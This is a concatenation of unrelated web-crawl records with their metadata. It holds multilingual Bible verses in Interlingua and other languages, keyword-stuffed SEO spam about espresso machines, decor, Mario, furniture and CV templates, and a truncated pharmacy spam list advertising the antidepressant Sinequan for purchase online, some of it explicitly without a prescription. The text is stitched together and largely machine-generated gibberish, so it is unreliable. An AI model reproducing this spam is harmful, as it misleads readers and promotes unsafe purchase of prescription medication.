sardonyx; the sixth, sardius; the seventh, chrysolyte; the eighth, beryl; the ninth, a topaz; the tenth, a chrysoprasus; the eleventh, a jacinth; the twelfth, an amethyst.\nes: El quinto, sardónica; el sexto, sardio; el séptimo, crisólito; el octavo, berilo; el nono, topacio; el décimo, crisopraso; el undécimo, jacinto; el duodécimo, amatista.\nfr: le cinquième de sardonyx, le sixième de sardoine, le septième de chrysolithe, le huitième de béryl, le neuvième de topaze, le dixième de chrysoprase, le onzième d'hyacinthe, le douzième d'améthyste.\nit: il quinto di sardonico; il sesto di sardio; il settimo di crisolito; l'ottavo di berillo; il nono di topazio; il decimo di crisopazio; l'undecimo di giacinto; il dodicesimo di ametista.\npt: o quinto, de sardônica; o sexto, de sárdio; o sétimo, de crisólito; o oitavo, de berilo; o nono, de topázio; o décimo, de crisópraso; o undécimo, de jacinto; o duodécimo, de ametista.\nlt: quintus sardonix sextus sardinus septimus chrysolitus octavus berillus nonus topazius decimus chrysoprassus undecimus hyacinthus duodecimus amethistus\nIn medio al placia del citate e de ambe ripas del fluvio stava le arbore del vita, que produce dece-duo typos de fructos, un in omne mense; e le folios del arbore es pro sanar le nationes.Modificar\nIn medio al placia del citate e de ambe ripas del fluvio stava le arbore del vita, que produce dece-duo typos de fructos, un in omne mense; e le folios del arbore es pro sanar le nationes.\nen: In the midst of the street of it, and on either side of the river, was there the tree of life, which bare twelve manner of fruits, and yielded her fruit every month: and the leaves of the tree were for the healing of the nations.\nes: En el medio de la plaza de ella, y de la una y de la otra parte del río, estaba el árbol de la vida, que lleva doce frutos, dando cada mes su fruto: y las hojas del árbol eran para la sanidad de las naciones.\nfr: Au milieu de la place de la ville et sur les deux bords du fleuve, il y avait un arbre de vie, produisant douze fois des fruits, rendant son fruit chaque mois, et dont les feuilles servaient à la guérison des nations.\nit: In mezzo alla piazza della città e d'ambo i lati del fiume stava l'albero della vita, che dà dodici raccolti, e porta il suo frutto ogni mese; e le foglie dell'albero sono per la guarigione delle nazioni.\npt: No meio da sua praça, e de ambos os lados do rio, estava a árvore da vida, que produz doze frutos, dando seu fruto de mês em mês; e as folhas da árvore são para a cura das nações.\nlt: in medio plateae eius et ex utraque parte fluminis lignum vitae adferens fructus duodecim per menses singula reddentia fructum suum et folia ligni ad sanitatem gentium\ne si alicuno remove alco del parolas del libro de iste prophetia, Deo le levara su parte del arbore del vita e del citate sancte, como scribite in iste libro.Modificar\ne si alicuno remove alco del parolas del libro de iste prophetia, Deo le levara su parte del arbore del vita e del citate sancte, como scribite in iste libro.\nen: And if any man shall take away from the words of the book of this prophecy, God shall take away his part out of the book of life, and out of the holy city, and from the things which are written in this book.\nes: Y si alguno quitare de las palabras del libro de esta profecía, Dios quitará su parte del libro de la vida, y de la santa ciudad, y de las cosas que están escritas en este libro.\nfr: et si quelqu'un retranche quelque chose des paroles du livre de cette prophétie, Dieu retranchera sa part de l'arbre de la vie et de la ville sainte, décrits dans ce livre.\nit: e se alcuno toglie qualcosa dalle parole del libro di questa profezia, Iddio gli torrà la sua parte dell'albero della vita e della città santa, delle cose scritte in questo libro.\npt: e se alguém tirar qualquer coisa das palavras do livro desta profecia, Deus lhe tirará a sua parte da árvore da vida, e da cidade santa, que estão descritas neste livro.\nlt: et si quis deminuerit de verbis libri prophetiae huius auferet Deus partem eius de ligno vitae et de civitate sancta et de his quae scripta sunt in libro isto","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/interlingua.wikia.com\/wiki\/Revelation_multilingue","date":"2017-08-21T13:41:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886108709.89\/warc\/CC-MAIN-20170821133645-20170821153645-00510.warc.gz","language":"ina","language_score":0.4051964879,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.40519648790359497, \"lmo_Latn_score\": 0.10548042505979538, \"srd_Latn_score\": 0.08875024318695068, \"lat_Latn_score\": 0.0607069693505764, \"ita_Latn_score\": 0.047724392265081406, \"nap_Latn_score\": 0.03969781845808029, \"eus_Latn_score\": 0.030231788754463196, \"vec_Latn_score\": 0.028110740706324577, \"frp_Latn_score\": 0.020592326298356056, \"por_Latn_score\": 0.016220754012465477, \"fra_Latn_score\": 0.014807164669036865, \"oci_Latn_score\": 0.013960917480289936, \"spa_Latn_score\": 0.012075434438884258}","num_words":48990,"character_repetition_ratio":0.029,"word_repetition_ratio":0.158,"special_characters_ratio":0.217,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.403,"perplexity_score":2767.1,"cluster_detection":-1} +{"text":"saeco syntia espresso machine espresso machine saeco syntia stainless steel automatic espresso machine hd8838 03.\nsaeco syntia espresso machine saeco syntia ss compact espresso machine manual.\nsaeco syntia espresso machine via espresso machine philips saeco syntia cappuccino espresso machine.\nsaeco syntia espresso machine black espresso machine philips saeco syntia automatic espresso machine hd8837 01.\nsaeco syntia espresso machine espresso machine manual maker aroma refurbished philips saeco syntia focus hd8833 18 automatic espresso machine black.\nsaeco syntia espresso machine enchanting awesome espreo machine in combination compact manual reviews cappuccino esp saeco syntia focus espresso machine.\nsaeco syntia espresso machine outstanding awesome espreo machine in combination compact manual do focus automatic saeco syntia focus fully automatic espresso machine reviews.\nsaeco syntia espresso machine outstanding awesome espresso machine in combination philips saeco syntia class multi automatic espresso machine hd8836.\nsaeco syntia espresso machine automatic espresso machine focus black saeco syntia ss compact espresso machine review.\nsaeco syntia espresso machine can the deliver espresso perfection philips saeco syntia hd8838 08 automatic espresso machine.\nsaeco syntia espresso machine vs philips saeco syntia focus hd8833 18 automatic espresso machine black.\nsaeco syntia espresso machine splendid awesome espresso machine plus saeco syntia espresso review.\nsaeco syntia espresso machine aroma espresso machine by saeco syntia cappuccino superautomatic espresso machine review.\nsaeco syntia espresso machine splendid awesome espresso machine in combination cappuccino stainless steel automatic saeco syntia ss compact espresso machine manual.\nsaeco syntia espresso machine black enjoy espresso machines saeco syntia cappuccino espresso machine.\nsaeco syntia espresso machine refurbished bean to cup coffee machine saeco syntia automatic espresso machine hd8838 03.\nsaeco syntia espresso machine wondrous awesome espresso machine also saeco syntia espresso machine costco.\nsaeco syntia espresso machine ergonomic awesome espresso machine and philips saeco syntia espresso machine.\nsaeco syntia espresso machine perfecta espresso machine view on amazon philips saeco syntia class multi automatic espresso machine hd8836.\nsaeco syntia espresso machine saeco philips syntia super automatic espresso machine hd8837 47.\nsaeco syntia espresso machine wondrous awesome espresso machine with cappuccino review maker reviews is here saeco syntia stainless steel automatic espresso machine hd8838 03.\nsaeco syntia espresso machine super automatic espresso machine buy on saeco syntia focus espresso machine reviews.\nsaeco syntia espresso machine refurbished bean to cup coffee machine saeco ri9833 47 syntia focus superautomatic espresso machine.\nsaeco syntia espresso machine cups and espresso not included philips saeco syntia automatic espresso machine.\nsaeco syntia espresso machine group head inside the focus philips saeco syntia cappuccino espresso machine.\nsaeco syntia espresso machine full image for coffee machine manual espresso maker with milk carafe philips saeco syntia cappuccino espresso machine.\nsaeco syntia espresso machine see the this is espresso machine also manual model pictures saeco do psa syntia focus automatic espresso machine.\nsaeco syntia espresso machine splendid awesome espresso machine plus automatic class multi philips saeco syntia automatic espresso machine.\nsaeco syntia espresso machine espresso machine class automatic focus saeco syntia ss compact espresso machine manual.","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/headmania.me\/saeco-syntia-espresso-machine\/","date":"2018-03-24T08:09:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649961.11\/warc\/CC-MAIN-20180324073738-20180324093738-00774.warc.gz","language":"ina","language_score":0.3212650716,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3212650716304779, \"eng_Latn_score\": 0.25058120489120483, \"lat_Latn_score\": 0.0890885517001152, \"sco_Latn_score\": 0.0476352795958519, \"por_Latn_score\": 0.045614782720804214, \"ita_Latn_score\": 0.024100957438349724, \"dag_Latn_score\": 0.02174464613199234, \"lij_Latn_score\": 0.015038292855024338, \"qvo_Latn_score\": 0.01296027097851038, \"scn_Latn_score\": 0.010439061559736729}","num_words":896,"character_repetition_ratio":0.392,"word_repetition_ratio":0.357,"special_characters_ratio":0.159,"stopwords_ratio":0.02,"flagged_words_ratio":0.0,"lang_id_score":0.321,"perplexity_score":11603.5,"cluster_detection":-1} +{"text":"deco baroque moderne deco chalet contemporain salon chic et baroque idee deco chalet moderne idee deco chambre baroque moderne.\ndeco baroque moderne stunning moderne salon tisch contemporary antoniogarcia info decoration chambre baroque moderne.\ndeco baroque moderne deco baroque moderne awesome formel beauteous armoire chambre luxe deco salon baroque moderne.\ndeco baroque moderne awesome daccoration baroque moderne ideas transformatorious les 25 chambre deco baroque deco chambre baroque moderne.\ndeco baroque moderne stunning dcoration baroque plafond en noir et blanc sol en marbre plafonnier en cristal with deco baroque moderne decoration salon baroque moderne.\ndeco baroque moderne deco baroque decoration chambre baroque moderne.\ndeco baroque moderne best decoration deco chambre baroque moderne.\ndeco baroque moderne beautiful deco salon baroque moderne images lalawgroup us deco chambre baroque moderne.\ndeco baroque moderne miroir baroque noir et suspension une jolie salle de bains dacco baroque decoration salon baroque moderne.\ndeco baroque moderne marvelous deco salon salle a manger couleurs 7 les r232gles dor dun joli salon decoration chambre baroque moderne.\ndeco baroque moderne deco baroque moderne 15 appartement baroque decoration salon baroque moderne.\ndeco baroque moderne de salle manger et cuisine moderne tendance n o baroque deco a idee deco chambre baroque moderne.\ndeco baroque moderne deco baroque deco chambre baroque moderne.\ndeco baroque moderne daccoration baroque decoration chambre baroque moderne.\ndeco baroque moderne fabulous designs sublimes pour une d co baroque meuble baroque moderne with deco baroque moderne deco style baroque moderne.\ndeco baroque moderne cheap deco baroque moderne with deco baroque moderne with deco baroque decoration style baroque moderne.\ndeco baroque moderne deco baroque moderne excellent dco baroque du salon pour un daccoration baroque moderne idee deco chambre baroque moderne.\ndeco baroque moderne chambre baroque moderne deco decoration chambre baroque moderne.\ndeco baroque moderne decoration chambre adulte zen 5 indogate deco chambre baroque moderne deco chambre baroque moderne.\ndeco baroque moderne baroque moderne captivant chambre baroque moderne banquette with deco baroque moderne idee deco chambre baroque moderne.\ndeco baroque moderne deco salon baroque moderne galerie avec beau deco moderne salon photo deco moderne appartement chambre maison decoration style baroque moderne.\ndeco baroque moderne baroque room baroque deco baroque bed room bed elegant baroque deco chambre baroque moderne.\ndeco baroque moderne good decoration baroque moderne baroque decoration moderne natural decorations in image deco salon baroque moderne with salon baroque design idee deco chambre baroque moderne.\ndeco baroque moderne awesome d coration baroque moderne ideas joshkrajcik us decoration style baroque moderne.\ndeco baroque moderne best 25 baroque decor ideas on pinterest gothic home decor mediterranean decoration baroque moderne idee deco chambre baroque moderne.\ndeco baroque moderne ameublement baroque et dacco authentiques et modernes salle manger complate ameublement baroque moderne decoration salon baroque moderne.\ndeco baroque moderne awesome deco salon baroque moderne contemporary design trends deco style baroque moderne.\ndeco baroque moderne salon decoration salon baroque moderne.\ndeco baroque moderne deco deco chambre baroque moderne.","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/loftsessions.co\/deco-baroque-moderne\/","date":"2018-05-24T12:12:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794866276.61\/warc\/CC-MAIN-20180524112244-20180524132244-00061.warc.gz","language":"ina","language_score":0.7754856348,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.775485634803772, \"ben_Latn_score\": 0.08725399523973465, \"fra_Latn_score\": 0.027056319639086723, \"sco_Latn_score\": 0.026328900828957558, \"eng_Latn_score\": 0.020205456763505936, \"ile_Latn_score\": 0.011313747614622116}","num_words":836,"character_repetition_ratio":0.401,"word_repetition_ratio":0.2,"special_characters_ratio":0.151,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":0.775,"perplexity_score":9239.3,"cluster_detection":-1} +{"text":"daisy super mario daisy super mario run.\ndaisy super mario s como desbloquear a daisy en super mario 3d world.\ndaisy super mario super mario land music daisy.\ndaisy super mario princess daisy super mario movie.\ndaisy super mario daisy super mario costume.\ndaisy super mario super mario brothers princess daisy costume.\ndaisy super mario daisy super mario 3d land.\ndaisy super mario shir ransfer why isnt daisy in super mario 3d world.\ndaisy super mario daisy super mario bros movie.\ndaisy super mario daisy super mario land.\ndaisy super mario super mario maker daisy costume.\ndaisy super mario super mario 3d world daisy dlc.\ndaisy super mario daisy super mario movie.\ndaisy super mario super mario bros daisy costume.\ndaisy super mario super mario land 1 daisy.\ndaisy super mario super mario bros daisy edition.\ndaisy super mario super mario bros movie daisys mother.\ndaisy super mario como desbloquear a daisy en super mario 3d world.\ndaisy super mario mrio prtysuper super mario bros movie luigi and daisy.\ndaisy super mario princess daisy new super mario bros.\ndaisy super mario kun daisy super mario land.\ndaisy super mario forsmash versi super mario bros daisy pics.\ndaisy super mario super mario 3d world daisy hack.\ndaisy super mario why isnt daisy in super mario 3d world.\ndaisy super mario super mario bros daisy coloring page.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/sosin.info\/daisy-super-mario\/","date":"2018-11-16T23:04:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039743216.58\/warc\/CC-MAIN-20181116214920-20181117000920-00502.warc.gz","language":"ina","language_score":0.3237459064,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3237459063529968, \"dag_Latn_score\": 0.26773592829704285, \"tay_Latn_score\": 0.06909608840942383, \"mui_Latn_score\": 0.05989168956875801, \"asm_Latn_score\": 0.02969924919307232, \"glv_Latn_score\": 0.015271761454641819, \"eng_Latn_score\": 0.015186065807938576, \"plt_Latn_score\": 0.014648213982582092, \"aau_Latn_score\": 0.013735451735556126, \"pms_Latn_score\": 0.012018982321023941}","num_words":439,"character_repetition_ratio":0.393,"word_repetition_ratio":0.356,"special_characters_ratio":0.192,"stopwords_ratio":0.023,"flagged_words_ratio":0.0,"lang_id_score":0.324,"perplexity_score":4622.0,"cluster_detection":-1} +{"text":"salon detente jardin salon detente jardin la redoute.\nsalon detente jardin salon de detente jardin bois.\nsalon detente jardin ias sign salon detente jardin castorama.\nsalon detente jardin salon detente jardin teck.\nsalon detente jardin tente salon detente jardin leclerc.\nsalon detente jardin salon detente jardin brico depot.\nsalon detente jardin pot salon detente jardin bois.\nsalon detente jardin tente tente sign salon detente jardin brico depot.\nsalon detente jardin salon detente jardin pas cher.\nsalon detente jardin slon tss cstom vc slon salon detente jardin la redoute.\nsalon detente jardin salon de jardin detente alu pas cher.\nsalon detente jardin salon detente jardin leclerc.\nsalon detente jardin tente salon de jardin detente castorama.\nsalon detente jardin tente salon de jardin detente alu pas cher.\nsalon detente jardin 17 salon de detente jardin bois.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/fusionblox.net\/salon-detente-jardin\/","date":"2018-12-17T17:38:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376828697.80\/warc\/CC-MAIN-20181217161704-20181217183704-00121.warc.gz","language":"ina","language_score":0.5046485066,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5046485066413879, \"lfn_Latn_score\": 0.22327262163162231, \"kao_Latn_score\": 0.06881597638130188, \"rmy_Latn_score\": 0.01778734102845192, \"heg_Latn_score\": 0.01634141243994236, \"ljp_Latn_score\": 0.015619994141161442, \"kaq_Latn_score\": 0.014101008884608746, \"fra_Latn_score\": 0.012926609255373478, \"mkn_Latn_score\": 0.012283077463507652, \"sas_Latn_score\": 0.011364691890776157}","num_words":213,"character_repetition_ratio":0.424,"word_repetition_ratio":0.225,"special_characters_ratio":0.172,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.505,"perplexity_score":8929.3,"cluster_detection":-1} +{"text":"February 28, 2019 superseo Magasin de location de robe de mariee nantes Magasin de location de robe de mariee nantes Related PostsLocation robe de mariee islamiqueLocation robe de mariee rime arodakyLocation robe de mariee savoieLocation robe de mariee marseille grande tailleRobe de mariee location reimsLocation de robe de mariee nimes","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/wikim.eu\/magasin-de-location-de-robe-de-mariee-nantes.html","date":"2019-04-19T00:19:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578526923.39\/warc\/CC-MAIN-20190419001419-20190419023419-00303.warc.gz","language":"ina","language_score":0.3233307302,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.32333073019981384, \"sco_Latn_score\": 0.08888023346662521, \"fra_Latn_score\": 0.06302589923143387, \"wol_Latn_score\": 0.03933359682559967, \"vec_Latn_score\": 0.02109995298087597, \"fur_Latn_score\": 0.020934512838721275, \"wes_Latn_score\": 0.018408792093396187, \"nov_Latn_score\": 0.014367789961397648, \"ile_Latn_score\": 0.013275785371661186, \"pan_Latn_score\": 0.012707185000181198, \"zpm_Latn_score\": 0.012656835839152336, \"kjs_Latn_score\": 0.01056720782071352, \"por_Latn_score\": 0.01033076923340559}","num_words":102,"character_repetition_ratio":0.25,"word_repetition_ratio":0.086,"special_characters_ratio":0.166,"stopwords_ratio":0.206,"flagged_words_ratio":0.0,"lang_id_score":0.173,"perplexity_score":4991.2,"cluster_detection":-1} +{"text":"New 11 illustration curriculum vitae curriculum vitae de un docente. Curriculum vitae de un docente curriculum vitae maestro – aurorafilm. Curriculum vitae de un docente pdf the influence of a vertically integrated curriculum on the. Ver un ejemplo de curriculum vitae cover letter example academic curriculum vitae de un docente. Cv formatouc curriculum vitae de un docente.\nNew 11 Illustration Curriculum Vitae Curriculum Vitae De Un Docente fuente: aomuaphongthuy.com\nCurriculum Vitae De Un Docente Curriculum Vitae Maestro – Aurorafilm fuente: aurorafilm.org\nCurriculum Vitae De Un Docente Pdf the Influence Of A Vertically Integrated Curriculum On the fuente: researchgate.net\nVer Un Ejemplo De Curriculum Vitae Cover Letter Example Academic Curriculum Vitae De Un Docente fuente: philand.org\nCv formatouc Curriculum Vitae De Un Docente fuente: es.scribd.com\nCurriculum Vitae De Un Docente Curriculum Vitae De Miembros De isiones Para Concursos De Acceso fuente: docplayer.es\nLas 10 Mejores Plantillas Gratis Para Curriculums Creativos Curriculum Vitae De Un Docente fuente: magicalartstudio.com\nCurriculum vitae de un docente curriculum vitae de miembros de isiones para concursos de acceso. Las 10 mejores plantillas gratis para curriculums creativos curriculum vitae de un docente. Curriculum vitae 2018 c³mo hacer un buen curriculum plantillas cv curriculum vitae de un docente. Cv arquitecto original free submitted by evan with cv arquitecto curriculum vitae de un docente.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/curriculumvt.me\/curriculum-vitae-de-un-docente\/","date":"2019-05-27T11:51:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232262369.94\/warc\/CC-MAIN-20190527105804-20190527131804-00156.warc.gz","language":"ina","language_score":0.3583040833,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.35830408334732056, \"spa_Latn_score\": 0.14144861698150635, \"cbk_Latn_score\": 0.12419392168521881, \"lat_Latn_score\": 0.11866544932126999, \"sco_Latn_score\": 0.06940233707427979, \"ast_Latn_score\": 0.03448427468538284, \"glg_Latn_score\": 0.031262170523405075, \"srd_Latn_score\": 0.0190489012748003}","num_words":369,"character_repetition_ratio":0.24,"word_repetition_ratio":0.389,"special_characters_ratio":0.17,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":0.51,"perplexity_score":5676.3,"cluster_detection":-1} +{"text":"Extractores De Cocina Leroy Merlin , Extractores de bao leroy merlin stunning extractor de, Extractores de cocina fiesta de lamusica medellin, Extractores de cocina fiesta de lamusica medellin, Extractores de cocina fiesta de lamusica medellin, Extractor de humos cocina precios beautiful excellent, Extractor de aire leroy merlin awesome extractor leroy, Extractores de cocina fiesta de lamusica medellin, Extractores de cocina .","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/artgallery18.com\/extractores-de-cocina-leroy-merlin.html","date":"2019-05-23T15:24:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257259.71\/warc\/CC-MAIN-20190523143923-20190523165923-00364.warc.gz","language":"ina","language_score":0.3070531487,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3070531487464905, \"spa_Latn_score\": 0.25279346108436584, \"nld_Latn_score\": 0.07234938442707062, \"slv_Latn_score\": 0.06893522292375565, \"fin_Latn_score\": 0.06193657964468002, \"ast_Latn_score\": 0.059674154967069626, \"swe_Latn_score\": 0.025879107415676117, \"glg_Latn_score\": 0.011768711730837822, \"ile_Latn_score\": 0.011767522431910038, \"hun_Latn_score\": 0.011501633562147617, \"slk_Latn_score\": 0.010688100010156631, \"lvs_Latn_score\": 0.010114215314388275}","num_words":106,"character_repetition_ratio":0.214,"word_repetition_ratio":0.361,"special_characters_ratio":0.16,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":0.46,"perplexity_score":5509.9,"cluster_detection":-1} +{"text":"Pdf curriculum vitae s curriculum vitae de un ingeniero industrial. Curriculum vitae de un ingeniero industrial pdf dr wayne dwernychuk curriculum vitae. Pdf curriculum vitae of the lotos–euros v2 0 chemistry transport curriculum vitae de un ingeniero industrial. Curriculum vitae de un ingeniero industrial curriculum vitae ingeniero industrial – curriculum vitae cv. Curriculum vitae formato ingeniero en sistemas putacionales curriculum vitae de un ingeniero industrial.\nPdf Curriculum Vitae S Curriculum Vitae De Un Ingeniero Industrial fuente: researchgate.net\nCurriculum Vitae De Un Ingeniero Industrial Pdf Dr Wayne Dwernychuk Curriculum Vitae fuente: researchgate.net\nPdf Curriculum Vitae Of the Lotos–euros V2 0 Chemistry Transport Curriculum Vitae De Un Ingeniero Industrial fuente: researchgate.net\nCurriculum Vitae De Un Ingeniero Industrial Curriculum Vitae Ingeniero Industrial – Curriculum Vitae Cv fuente: aurorafilm.org\nCurriculum Vitae formato Ingeniero En Sistemas Putacionales Curriculum Vitae De Un Ingeniero Industrial fuente: visitsevierville.mobi\nCurriculum Vitae De Un Ingeniero Industrial Ejemplos De Curriculum Vitae De Ingenieros Industriales – Awesome fuente: aurorafilm.org\nBanking Resume Upload which Useful Resume Insight Curriculum Vitae De Un Ingeniero Industrial fuente: resumeinsight.me\nCurriculum vitae de un ingeniero industrial ejemplos de curriculum vitae de ingenieros industriales – awesome. Banking resume upload which useful resume insight curriculum vitae de un ingeniero industrial. Curriculum vitae de un ingeniero industrial permission letter for industrial visit. Pdf name and address curriculum vitae de un ingeniero industrial.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/curriculum-vitae-de-un-ingeniero-industrial\/","date":"2019-06-25T16:06:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999853.94\/warc\/CC-MAIN-20190625152739-20190625174739-00046.warc.gz","language":"ina","language_score":0.3748374879,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3748374879360199, \"lat_Latn_score\": 0.17553138732910156, \"sco_Latn_score\": 0.1545894891023636, \"spa_Latn_score\": 0.08336256444454193, \"srd_Latn_score\": 0.023272795602679253, \"eus_Latn_score\": 0.01875990442931652, \"ast_Latn_score\": 0.015112794935703278, \"lvs_Latn_score\": 0.011886294931173325, \"ile_Latn_score\": 0.011046971194446087}","num_words":397,"character_repetition_ratio":0.237,"word_repetition_ratio":0.598,"special_characters_ratio":0.151,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.556,"perplexity_score":5190.9,"cluster_detection":-1} +{"text":"日本語でおk please in Japnese 英 bitte auf japanisch 独 veuillez dans le Japonais 仏 prego nel giapponese イタリア por favor no japones ポルトガル por favor en japones スペイン Japanner gelieve in オランダ behaga i japan スウェーデン παρακαλ? στα ιαπωνικ ギリシア пожалуйста в японце ロシア Japoncata tamam. トルコ 請在日文 中国 やまとぅぐちっしいい 沖縄 sisam itak ani ukoitak yan. アイヌ 日本語でおkや 大阪民国","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/hebi.2ch.net\/test\/read.cgi\/news4vip\/1535101862\/","date":"2019-11-12T01:04:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496664469.42\/warc\/CC-MAIN-20191112001515-20191112025515-00011.warc.gz","language":"ina","language_score":0.3063959777,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3063959777355194, \"jpn_Jpan_score\": 0.03660980984568596, \"hun_Latn_score\": 0.027061842381954193, \"nld_Latn_score\": 0.02543232962489128, \"spa_Latn_score\": 0.024536460638046265, \"vec_Latn_score\": 0.022457510232925415, \"eus_Latn_score\": 0.022229570895433426, \"slv_Latn_score\": 0.02010978013277054, \"ile_Latn_score\": 0.017168741673231125, \"ron_Latn_score\": 0.016095181927084923, \"ayr_Latn_score\": 0.01558847539126873, \"eng_Latn_score\": 0.015535336919128895, \"por_Latn_score\": 0.014702454209327698, \"pol_Latn_score\": 0.013653662987053394, \"lim_Latn_score\": 0.01170793641358614, \"vls_Latn_score\": 0.010632743127644062, \"vol_Latn_score\": 0.010354387573897839, \"lvs_Latn_score\": 0.010165752843022346}","num_words":136,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.287,"perplexity_score":13737.0,"cluster_detection":-1} +{"text":"Valutazione 4.6 sulla base di 106 voti.\nPrezzo da €0.26 Per pillola\nSinequan generico sicuro\ndove posso comprare il Sinequan generico\ncosto Sinequan farmacia svizzera\nOrdine Sinequan Portogallo\nin linea Doxepin hydrochloride Svizzera\nQuanto costa Doxepin hydrochloride\nQuanto costa Sinequan Doxepin hydrochloride Italia\nSinequan generico online sicuro\nPrezzo 25 mg Sinequan Italia\ngenerico do Sinequan azul\nvendita Sinequan usa\nSinequan comprar farmacia\nA buon mercato 25 mg Sinequan Spagna\nkesehatanherbal.000webhostapp.com\nSinequan precio farmacia del ahorro\nefectos secundarios Sinequan generico\ngenerico Sinequan tem mesmo efeito\nAcquistare Sinequan USA\nOrdine Sinequan Svizzera\nQuanto costa Sinequan Doxepin hydrochloride Stati Uniti\ncomprar Sinequan generico en españa contrareembolso\nSinequan generico vendita line\nSconto Doxepin hydrochloride\nconveniente 25 mg Sinequan Svezia\nA buon mercato Sinequan Inghilterra\nPrezzo Sinequan Doxepin hydrochloride Singapore\nin linea 25 mg Sinequan Regno Unito\nA buon mercato Doxepin hydrochloride Francia\ncuanto cuesta Sinequan farmacias\nSinequan valencia farmacia\nOrdine Sinequan Italia\nacquista Sinequan generico online\nacquisto Sinequan in farmacia\nin linea Sinequan 25 mg USA\nPrezzo basso Doxepin hydrochloride Croazia\ngenerico Sinequan Doxepin hydrochloride Finlandia\nSinequan generico en mexico precio\nSinequan generico online in italia\nIl costo di Sinequan Canada\nquanto costa il Sinequan in farmacia\nPrezzo basso 25 mg Sinequan\ngenerico do Sinequan ultrafarma\nfarmacias Sinequan andorra\ncuanto cuesta Sinequan farmacias guadalajara\nSinequan femenina farmacias\nQuanto costa 25 mg Sinequan Europa\nconveniente Sinequan Polonia\ncosto Sinequan generico mexico\nSconto Sinequan Doxepin hydrochloride Belgio\nAcquistare Sinequan Austria\nAcquista Doxepin hydrochloride Tacchino\nconveniente 25 mg Sinequan Spagna\nPrezzo Sinequan Spagna\nPrezzo Sinequan Doxepin hydrochloride Canada\nAcquista Sinequan Doxepin hydrochloride Grecia\nSinequan farmacia europea\nSinequan generico en mexico df\nA buon mercato Sinequan Doxepin hydrochloride Inghilterra\nacquisto Sinequan senza ricetta\nacquistare Sinequan online è sicuro\nin linea 25 mg Sinequan Svizzera\ngenerico Sinequan 25 mg Australia\nSinequan acquisto online forum\nQuanto costa Sinequan Olanda\ngenerico del Sinequan en peru\nbasso costo Doxepin hydrochloride USA\nefeitos do Sinequan generico\nposso comprare Sinequan farmacia\nSinequan original de farmacia\nSinequan acquisto farmacia\ncomo comprar Sinequan na farmacia\ndiferencia entre Sinequan generico y original\nPrezzo 25 mg Sinequan Repubblica Ceca\nSinequan generico online\nSinequan farmacia serve ricetta\nPrezzo Doxepin hydrochloride Emirati Arabi Uniti\nPrezzo Sinequan Doxepin hydrochloride Finlandia\nin linea Doxepin hydrochloride Inghilterra\ndove acquistare Sinequan online\nAcquistare Sinequan Canada\ncuanto cuesta el Sinequan generico en mexico\nAcquistare Sinequan Doxepin hydrochloride Giappone\nAcquista Sinequan Doxepin hydrochloride Canada\nbasso costo 25 mg Sinequan Svizzera\nPrezzo basso Doxepin hydrochloride USA\ncontroindicazioni Sinequan generico\ncome acquistare Sinequan farmacia\ncomprar Sinequan farmacia ahumada\nfarmacia Sinequan andorra\nPrezzo Sinequan 25 mg Singapore\nbasso costo Sinequan Doxepin hydrochloride Canada\nAcquistare Sinequan Doxepin hydrochloride Australia\nSinequan farmacias ahorro\nIl costo di Sinequan Doxepin hydrochloride Austria\nbasso costo 25 mg Sinequan Europa\ncuanto cuesta el Sinequan en la farmacia\nPrezzo Sinequan Doxepin hydrochloride Croazia\nja saiu Sinequan generico\nQuanto costa Sinequan 25 mg Singapore\nin linea Doxepin hydrochloride Repubblica Ceca\ngenerico Sinequan Canada\nprecio Sinequan farmacias ahumada\nSinequan generico costa rica\nAcquista Doxepin hydrochloride USA\nbuy Professional Viagra\nbuy 